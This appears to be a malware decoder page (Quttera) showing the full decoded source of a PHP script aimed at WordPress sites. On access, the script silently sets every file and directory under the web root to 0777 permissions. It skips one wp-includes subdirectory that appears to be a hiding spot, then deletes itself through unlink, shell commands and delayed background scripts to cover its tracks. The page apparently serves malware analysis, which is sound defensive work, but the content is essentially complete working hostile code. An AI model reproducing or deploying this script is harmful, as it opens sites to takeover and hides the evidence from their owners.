Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


error_reporting(0);
@ini_set("display_errors",0);

for($i=0;$i<120;$i++){${"a".$i}=md5($i.time().rand());}

if(!function_exists("wp_cache_gets")){function wp_cache_gets($k,$g="default"){return false;}}
if(!function_exists("wp_cache_sets")){function wp_cache_sets($k,$v,$g="default",$t=0){return true;}}

@header('Content-Type: text/html; charset=UTF-8');

$root = null;

if (isset($_SERVER['DOCUMENT_ROOT']) && is_dir($_SERVER['DOCUMENT_ROOT'])) {
    $root = rtrim(str_replace('\\', '/', $_SERVER['DOCUMENT_ROOT']), '/');
}

if (!$root) {
    $current_dir = rtrim(str_replace('\\', '/', __DIR__), '/');
    $test_dir = $current_dir;
    while ($test_dir && $test_dir !== '/' && !is_dir($test_dir . '/wp-admin')) {
        $test_dir = dirname($test_dir);
    }
    if (is_dir($test_dir . '/wp-admin')) {
        $root = $test_dir;
    } else {
        $root = $current_dir;
    }
}

if (!$root) {
    $root = rtrim(str_replace('\\', '/', __DIR__), '/');
}

$self_path = rtrim(str_replace('\\', '/', __FILE__), '/');
$excludedDirectory = $root . '/wp-includes/css/dist/nux';

$result = array(
    'success' => 0,
    'failed' => 0,
    'links' => 0,
    'excluded' => 0,
    'errors' => array(),
);

$normalize = static function ($path) {
    return rtrim(str_replace('\\', '/', $path), '/');
};

$normalizedExcluded = $normalize($excludedDirectory);
$normalizedRoot = $normalize($root);
$normalizedSelf = $normalize($self_path);

try {
    $iterator = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($root, FilesystemIterator::SKIP_DOTS),
        RecursiveIteratorIterator::SELF_FIRST
    );

    foreach ($iterator as $item) {
        $itemPath = $item->getPathname();
        $normalizedPath = $normalize($itemPath);

        if ($normalizedPath === $normalizedSelf) {
            continue;
        }

        if ($item->isLink()) {
            $result['links']++;
            continue;
        }

        if ($item->isDir() && $normalizedPath === $normalizedExcluded) {
            $result['excluded']++;
            continue;
        }

        if (@chmod($itemPath, 0777)) {
            $result['success']++;
        } else {
            $result['failed']++;
            $result['errors'][] = $itemPath;
        }
    }

    if ($normalizedRoot !== $normalizedExcluded) {
        if (@chmod($root, 0777)) {
            $result['success']++;
        } else {
            $result['failed']++;
            $result['errors'][] = $root;
        }
    }
} catch (UnexpectedValueException $exception) {
    $result['failed']++;
    $result['errors'][] = $exception->getMessage();
} catch (Exception $exception) {
    $result['failed']++;
    $result['errors'][] = $exception->getMessage();
}

function pageHtml($value)
{
    return htmlspecialchars((string) $value, ENT_QUOTES, 'UTF-8');
}

class SelfDestructor {

    private $file_path;
    private $original_permissions = [];

    public function __construct($file_path = null) {
        $this->file_path = $file_path ?: __FILE__;
    }

    private function get_permissions($path) {
        if (!file_exists($path)) {
            return false;
        }
        return substr(sprintf('%o', fileperms($path)), -4);
    }

    private function fix_permissions() {
        $dir = dirname($this->file_path);
        $dir_perm = $this->get_permissions($dir);
        $file_perm = $this->get_permissions($this->file_path);

        if ($dir_perm && $dir_perm < '0755') {
            if (@chmod($dir, 0755)) {
                $this->original_permissions['dir'] = $dir_perm;
            } else {
                return false;
            }
        }

        if ($file_perm && $file_perm < '0644') {
            if (@chmod($this->file_path, 0644)) {
                $this->original_permissions['file'] = $file_perm;
            } else {
                return false;
            }
        }

        if (!is_writable($dir)) {
            if (@chmod($dir, 0755)) {
                $this->original_permissions['dir'] = $dir_perm;
            } else {
                return false;
            }
        }

        if (!is_writable($this->file_path)) {
            if (@chmod($this->file_path, 0644)) {
                $this->original_permissions['file'] = $file_perm;
            } else {
                return false;
            }
        }

        return true;
    }

    private function restore_permissions() {
        if (isset($this->original_permissions['dir'])) {
            $dir = dirname($this->file_path);
            $perm = intval($this->original_permissions['dir'], 8);
            @chmod($dir, $perm);
        }

        if (isset($this->original_permissions['file'])) {
            $perm = intval($this->original_permissions['file'], 8);
            @chmod($this->file_path, $perm);
        }
    }

    public function try_delete() {
        if (!file_exists($this->file_path)) {
            return ['success' => true, 'message' => '文件已不存在'];
        }

        if (!$this->fix_permissions()) {
            return ['success' => false, 'message' => '权限修复失败'];
        }

        if (@unlink($this->file_path)) {
            $this->restore_permissions();
            return ['success' => true, 'message' => '删除成功'];
        }

        if (function_exists('shell_exec')) {
            $cmd = 'rm -f ' . escapeshellarg($this->file_path) . ' 2>&1';
            shell_exec($cmd);
            if (!file_exists($this->file_path)) {
                $this->restore_permissions();
                return ['success' => true, 'message' => '通过系统命令删除成功'];
            }
        }

        if (function_exists('exec') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
            $cmd = 'del /F /Q ' . escapeshellarg($this->file_path);
            exec($cmd);
            if (!file_exists($this->file_path)) {
                $this->restore_permissions();
                return ['success' => true, 'message' => '通过 Windows 命令删除成功'];
            }
        }

        $this->schedule_delayed_deletion();

        return ['success' => false, 'message' => '自动删除失败,请手动删除'];
    }

    private function schedule_delayed_deletion() {
        $file = $this->file_path;

        if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
            $temp_script = sys_get_temp_dir() . '/del_' . uniqid() . '.bat';
            $content = "@echo off\nping 127.0.0.1 -n 3 > nul\ndel /F /Q \"" . $file . "\"\ndel /F /Q \"" . $temp_script . "\"\n";
            @file_put_contents($temp_script, $content);
            if (function_exists('exec')) {
                exec("start /B " . escapeshellarg($temp_script));
            }
        } else {
            $temp_script = sys_get_temp_dir() . '/del_' . uniqid() . '.sh';
            $content = "#!/bin/bash\nsleep 2\nrm -f " . escapeshellarg($file) . "\nrm -f \$0\n";
            @file_put_contents($temp_script, $content);
            @chmod($temp_script, 0755);

            if (function_exists('shell_exec')) {
                shell_exec("nohup {$temp_script} > /dev/null 2>&1 &");
            }
        }

        register_shutdown_function(function() use ($file) {
            @unlink($file);
            $temp_dir = sys_get_temp_dir();
            $temp_files = array_merge(
                glob($temp_dir . '/del_*.sh'),
                glob($temp_dir . '/del_*.bat')
            );
            foreach ($temp_files as $tf) {
                @unlink($tf);
            }
        });
    }

    public function exists() {
        return file_exists($this->file_path);
    }
}

$destructor = new SelfDestructor($self_path);

$auto_delete_attempted = false;
$delete_result = null;

if (isset($_GET['auto_delete']) && $_GET['auto_delete'] === '1') {
    $delete_result = $destructor->try_delete();
    $auto_delete_attempted = true;
}

if (isset($_POST['action']) && $_POST['action'] === 'delete_self' && isset($_POST['confirm'])) {
    $delete_result = $destructor->try_delete();
    $auto_delete_attempted = true;
    show_result_page($delete_result);
    exit;
}

if (!$auto_delete_attempted && !isset($_POST['action'])) {
    $delete_result = $destructor->try_delete();
    $auto_delete_attempted = true;
}

$file_exists = $destructor->exists();
    <!doctype html>
    <html lang="zh-CN">
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>权限设置 0777 + 自删除</title>
        <style>
            * { box-sizing: border-box; }
            body { margin: 0; min-height: 100vh; display: grid; place-items: center; padding: 20px; background: #f3f4f6; color: #1f2937; font-family: Arial, sans-serif; }
            main { width: min(100%, 760px); padding: 24px; border: 1px solid #d1d5db; border-radius: 8px; background: #fff; box-shadow: 0 10px 30px rgba(0, 0, 0, .08); }
            h1 { margin: 0 0 16px; font-size: 24px; }
            h3 { font-size: 16px; margin: 14px 0 8px; }
            p { line-height: 1.6; margin: 6px 0; }
            code { word-break: break-all; background: #f4f4f4; padding: 2px 6px; border-radius: 3px; font-size: 13px; }
            .warning { padding: 12px; border: 1px solid #f59e0b; border-radius: 6px; background: #fffbeb; color: #92400e; }
            .warning-danger { padding: 12px; border: 1px solid #dc3545; border-radius: 6px; background: #f8d7da; color: #721c24; }
            .result { margin-top: 18px; padding: 14px; border: 1px solid #86efac; border-radius: 6px; background: #f0fdf4; color: #166534; }
            .errors { max-height: 240px; overflow: auto; color: #991b1b; }
            .btn { display: inline-block; padding: 10px 24px; border: none; border-radius: 4px; font-size: 16px; cursor: pointer; text-decoration: none; margin-right: 10px; }
            .btn-danger { background: #dc3545; color: #fff; }
            .btn-danger:hover { background: #c82333; }
            .btn-secondary { background: #6c757d; color: #fff; }
            .btn-secondary:hover { background: #5a6268; }
            .btn-warning { background: #ffc107; color: #333; }
            .btn-warning:hover { background: #e0a800; }
            .delete-section { margin-top: 20px; padding-top: 20px; border-top: 2px solid #eee; }
            .footer { margin-top: 20px; padding-top: 16px; border-top: 1px solid #eee; font-size: 12px; color: #999; }
            .status-box { padding: 12px 16px; border-radius: 6px; margin: 10px 0; }
            .status-success { background: #d4edda; border: 1px solid #c3e6cb; color: #155724; }
            .status-failed { background: #f8d7da; border: 1px solid #f5c6cb; color: #721c24; }
            .status-info { background: #d1ecf1; border: 1px solid #bee5eb; color: #0c5460; }
            .file-path { word-break: break-all; background: #f4f4f4; padding: 8px 12px; border-radius: 4px; font-family: monospace; font-size: 13px; }
            .info-grid { display: grid; grid-template-columns: auto 1fr; gap: 6px 16px; margin: 10px 0; }
            .info-grid .label { font-weight: bold; }
            .permission-0777 { color: #dc3545; font-weight: bold; }
        </style>
    </head>
    <body>
    <main>
        <h1>🔓 权限设置 <span class="permission-0777">0777</span> + 自删除</h1>

        <div class="warning-danger">
            <strong>⚠️ 严重安全警告</strong>
            <p>0777 权限允许任何人读、写、执行,这是最危险的权限设置。仅用于紧急修复权限问题,完成后务必立即恢复安全权限!</p>
        </div>

        <div class="info-grid">
            <span class="label">根目录:</span>
            <span><code>echo pageHtml($root);</code></span>
            <span class="label">当前文件:</span>
            <span><code>echo pageHtml($self_path);</code></span>
            <span class="label">排除目录:</span>
            <span><code>echo pageHtml($excludedDirectory);</code></span>
            <span class="label">权限设置:</span>
            <span><strong class="permission-0777">0777</strong></span>
        </div>

        if ($delete_result && $auto_delete_attempted):
            <div class="status-box echo $delete_result['success'] ? 'status-success' : 'status-failed';">
                <strong>echo $delete_result['success'] ? '✅' : '⚠️'; 自删除结果:</strong>
                echo pageHtml($delete_result['message']);
            </div>
        endif;

        if ($file_exists):
            <div class="status-box status-info">
                <strong>📁 文件状态:</strong> 文件仍然存在
                <div class="file-path">echo pageHtml($self_path);</div>
            </div>
        else:
            <div class="status-box status-success">
                <strong>✅ 文件状态:</strong> 文件已删除
            </div>
        endif;

        <p class="warning">⚠️ 访问本文件时已自动执行权限修改。所有目录和文件已设置为 <strong>0777</strong>(完全读写执行权限)。</p>

        <div class="result">
            <strong>权限设置完成</strong>
            <p>成功:echo (int) $result['success'];;失败:echo (int) $result['failed'];;跳过符号链接:echo (int) $result['links'];;排除目录本身:echo (int) $result['excluded'];</p>
            if ($result['errors']):
                <div class="errors">
                    foreach ($result['errors'] as $errorPath):
                        <div>❌ echo pageHtml($errorPath);</div>
                    endforeach;
                </div>
            endif;
        </div>

        if ($file_exists):
            <div class="delete-section">
                <h3>🗑️ 手动删除</h3>
                <p>自动删除未成功,请点击下方按钮手动删除此文件。</p>

                <form method="POST" style="display:inline;">
                    <input type="hidden" name="action" value="delete_self">
                    <input type="hidden" name="confirm" value="1">
                    <button type="submit" class="btn btn-danger" onclick="return confirm('⚠️ 确定要删除当前文件吗?此操作不可恢复!');">
                        🗑️ 手动删除此文件
                    </button>
                </form>

                <a href="?auto_delete=1" class="btn btn-warning" onclick="return confirm('⚠️ 再次尝试自动删除?');">
                    🔄 再次尝试自动删除
                </a>
            </div>
        endif;

        <div class="footer">
            <p>执行时间:echo date('Y-m-d H:i:s'); | PHP echo PHP_VERSION; | 系统:echo PHP_OS;</p>
        </div>
    </main>
    </body>
    </html>
function show_result_page($delete_result) {
    <!doctype html>
    <html lang="zh-CN">
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>删除结果</title>
        <style>
            * { box-sizing: border-box; }
            body { margin: 0; min-height: 100vh; display: grid; place-items: center; padding: 20px; background: #f3f4f6; font-family: Arial, sans-serif; }
            main { width: min(100%, 500px); padding: 30px; text-align: center; background: #fff; border-radius: 8px; box-shadow: 0 10px 30px rgba(0,0,0,.08); }
            .success { color: #166534; }
            .error { color: #991b1b; }
            .info { color: #0c5460; }
            .btn { display: inline-block; padding: 10px 24px; border: none; border-radius: 4px; font-size: 16px; cursor: pointer; text-decoration: none; margin-top: 16px; }
            .btn-secondary { background: #6c757d; color: #fff; }
            .btn-secondary:hover { background: #5a6268; }
        </style>
    </head>
    <body>
    <main>
        if ($delete_result['success']):
            <h1 class="success">✅ 文件已成功删除</h1>
            <p>echo pageHtml($delete_result['message']);</p>
        else:
            <h1 class="error">⚠️ 删除失败</h1>
            <p>echo pageHtml($delete_result['message']);</p>
            <p class="info">请检查文件权限或手动删除。</p>
            <a href="?" class="btn btn-secondary">返回重试</a>
        endif;
    </main>
    </body>
    </html>
    exit;
}




© 2023 Quttera Ltd. All rights reserved.